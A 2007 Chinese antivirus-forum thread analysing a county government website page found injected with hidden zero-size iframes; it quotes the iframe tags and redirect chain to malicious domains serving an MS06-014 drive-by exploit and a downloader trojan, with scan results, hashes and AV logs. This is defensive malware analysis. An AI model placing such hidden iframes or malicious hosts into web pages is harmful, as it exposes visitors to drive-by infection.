南华县政府网附属的政协页面被挂马了

dikex

感谢网友路过提供信息！

——————————————————————————————————————————————————————————————

这挂马世道，政府网站也难逃一劫：南华县政府网附属的政协页面（http://www.ynnh.gov.cn/nhzx/Article_Show.asp?ArticleID=78）被挂马了！

在源码的开始被添加了好几个iframe，但其实只有两个而已，其他都是重复的；

<iframe src=http://www.n85853.cn/index.htm width=0 height=0></iframe>
<iframe src=http://www.game1983.com/index.htm width=0 height=0></iframe>

——————————————————————————————————————————————————————————————

http://www.game1983.com/index.htm 连接不成功-_-

——————————————————————————————————————————————————————————————

而http://www.n85853.cn/index.htm最近已经见过好几次了：
<iframe src="http://www.1cdzx.cn" width="0" height="0" frameborder="0"></iframe>
<iframe src="http://www.1008y.cn/" width="0" height="0" frameborder="0"></iframe>
<iframe src="http://www.wcwcwc.cn/in/1.htm" width="0" height="0" frameborder="0"></iframe>

和上次相比较更新了，但其实只有http://www.wcwcwc.cn/in/1.htm是新的，另外的最终还是执行上次的那几个，MS06-014网马，挂了一个毒http://www.wcwcwc.cn/in/1.exe，报的不多，还算是新的^_^；

AhnLab-V3	2007.5.16.1	05.16.2007	no virus found
AntiVir	7.4.0.23	05.16.2007	no virus found
Authentium	4.93.8	05.16.2007	no virus found
Avast	4.7.997.0	05.16.2007	Win32:Singu-Q
AVG	7.5.0.467	05.16.2007	no virus found
BitDefender	7.2	05.17.2007	BehavesLike:Trojan.Downloader
CAT-QuickHeal	9.00	05.16.2007	(Suspicious) - DNAScan
ClamAV	devel-20070416	05.16.2007	no virus found
DrWeb	4.33	05.16.2007	DLOADER.Trojan
eSafe	7.0.15.0	05.16.2007	Suspicious Trojan/Worm
eTrust-Vet	30.7.3638	05.17.2007	no virus found
Ewido	4.0	05.16.2007	no virus found
FileAdvisor	1	05.17.2007	no virus found
Fortinet	2.85.0.0	05.17.2007	no virus found
F-Prot	4.3.2.48	05.16.2007	no virus found
F-Secure	6.70.13030.0	05.17.2007	W32/Downloader
Ikarus	T3.1.1.7	05.16.2007	no virus found
Kaspersky	4.0.2.24	05.17.2007	no virus found
McAfee	5032	05.16.2007	New Malware.bx
Microsoft	1.2503	05.17.2007	no virus found
NOD32v2	2272	05.17.2007	no virus found
Norman	5.80.02	05.16.2007	no virus found
Panda	9.0.0.4	05.16.2007	Suspicious file
Prevx1	V2	05.17.2007	no virus found
Sophos	4.17.0	05.16.2007	no virus found
Sunbelt	2.2.907.0	05.17.2007	VIPRE.Suspicious
Symantec	10	05.17.2007	Downloader
TheHacker	6.1.6.115	05.15.2007	no virus found
VBA32	3.12.0	05.16.2007	BackDoor.Pigeon.1604
VirusBuster	4.3.7:9	05.16.2007	no virus found
Webwasher-Gateway	6.0.1	05.17.2007	Win32.Malware.gen#PECompact (suspicious)

File size: 104545 bytes

MD5: ac54dd46d51ec1951c3dc2c3b894f099

SHA1: 3ba613040b8c8321a421071c17315b787249a1bd

packers: PECompact

packers: PECOMPACT, ZLIB

packers: PecBundle, PECompact

——————————————————————————————————————————————————————————————

样本密码：virus

mofunzone

antivir被过，上报完毕
File ID          Filename          Size (Byte)         Result
544748          1.exe          101.41 KB          UNDER ANALYSIS
不过实际上，只要杀到这个文件就ok，因为运行后释放exe，只要这个被杀了，这个病毒整个就废了
File:           x105.rar
Status:        
INFECTED/MALWARE
MD5         3801e22d76bb29fa1e9eac118258d515
Packers detected:        
-
Scanner results
Scan taken on 17 May 2007 02:56:14 (GMT)
A-Squared        
Found nothing
AntiVir        
Found TR/Delphi.Downloader.Gen
ArcaVir        
Found nothing
Avast        
Found Win32:Delf-AEM
AVG Antivirus        
Found Downloader.Delf.8.BH
BitDefender        
Found BehavesLike:Trojan.Downloader (probable variant)
ClamAV        
Found nothing
Dr.Web        
Found nothing
F-Prot Antivirus        
Found Possibly a new variant of W32/Downloader-WebExe-based!Maximus
F-Secure Anti-Virus        
Found nothing
Fortinet        
Found nothing
Kaspersky Anti-Virus        
Found nothing
NOD32        
Found a variant of Win32/TrojanDownloader.Delf.NHL
Norman Virus Control        
Found nothing
Panda Antivirus        
Found nothing
Rising Antivirus        
Found nothing
VirusBuster        
Found nothing
VBA32        
Found Win32.Trojan.Downloader (http://...) (probable variant)

jlennon

      

[ 本帖最后由 jlennon 于 2007-5-17 11:00 编辑 ]

mofunzone

实际这个病毒antivir杀不出来主要是zlib
zlib用的是和gzip一样的压缩算法，gzip好像antivir就脱不出来，7zip不知道有没有改善。。

dikex

原帖由 jlennon 于 2007-5-17 10:59 发表
刺猬应该获个卡饭荣誉网页分析员

这个是骗贴用的，没有什么技术含量，当然如果那个××员是属于那种不用做而有好处的，我不介意

jlennon

bjfhj

tart of the scan: 2007年5月17日  11:14

Starting the file scan:

Begin scan in 'D:\My Documents\0[1].htm'
D:\My Documents\0[1].htm
      [DETECTION] Contains signature of the VBS script virus VBS/Dldr.Virgin
      [INFO]      The file was deleted!
Begin scan in 'D:\My Documents\0[2].htm'
D:\My Documents\0[2].htm
      [DETECTION] Contains signature of the VBS script virus VBS/Dldr.Virgin
      [INFO]      The file was deleted!
Begin scan in 'D:\My Documents\0[3].htm'
D:\My Documents\0[3].htm
      [DETECTION] Contains signature of the VBS script virus VBS/Dldr.Virgin
      [INFO]      The file was deleted!
Begin scan in 'D:\My Documents\0[4].htm'
D:\My Documents\0[4].htm
      [DETECTION] Contains signature of the VBS script virus VBS/Dldr.Virgin
      [INFO]      The file was deleted!
Begin scan in 'D:\My Documents\1[1].htm'
D:\My Documents\1[1].htm
      [DETECTION] Contains signature of the HTML script virus HTML/Dldr.Agent.sef
      [INFO]      The file was deleted!
Begin scan in 'D:\My Documents\1[2].htm'
D:\My Documents\1[2].htm
      [DETECTION] Contains signature of the HTML script virus HTML/Dldr.Agent.sef
      [INFO]      The file was deleted!
Begin scan in 'D:\My Documents\1[3].htm'
D:\My Documents\1[3].htm
      [DETECTION] Contains signature of the HTML script virus HTML/Dldr.Agent.sef
      [INFO]      The file was deleted!
Begin scan in 'D:\My Documents\ban[1].js'
D:\My Documents\ban[1].js
      [DETECTION] Contains signature of the exploits EXP/Ani.Gen
      [INFO]      The file was deleted!
Begin scan in 'D:\My Documents\CA634TEZ.js'
D:\My Documents\CA634TEZ.js
      [DETECTION] Contains signature of the exploits EXP/Ani.Gen
      [INFO]      The file was deleted!


End of the scan: 2007年5月17日  11:15
Used time: 00:08 min

wangjay1980

detected: virus Downloader (modification)        File: C:\Documents and Settings\Owner\×&Agrave;&Atilde;&aelig;\1.rar/1.exe//PE_Patch.PECompact//PecBundle//PECompact

wangjay1980

detected: virus Downloader (modification)        File: C:\Documents and Settings\Owner\×&Agrave;&Atilde;&aelig;\x105.rar/x105.exe

buycard

x105能杀出来的AV比较多。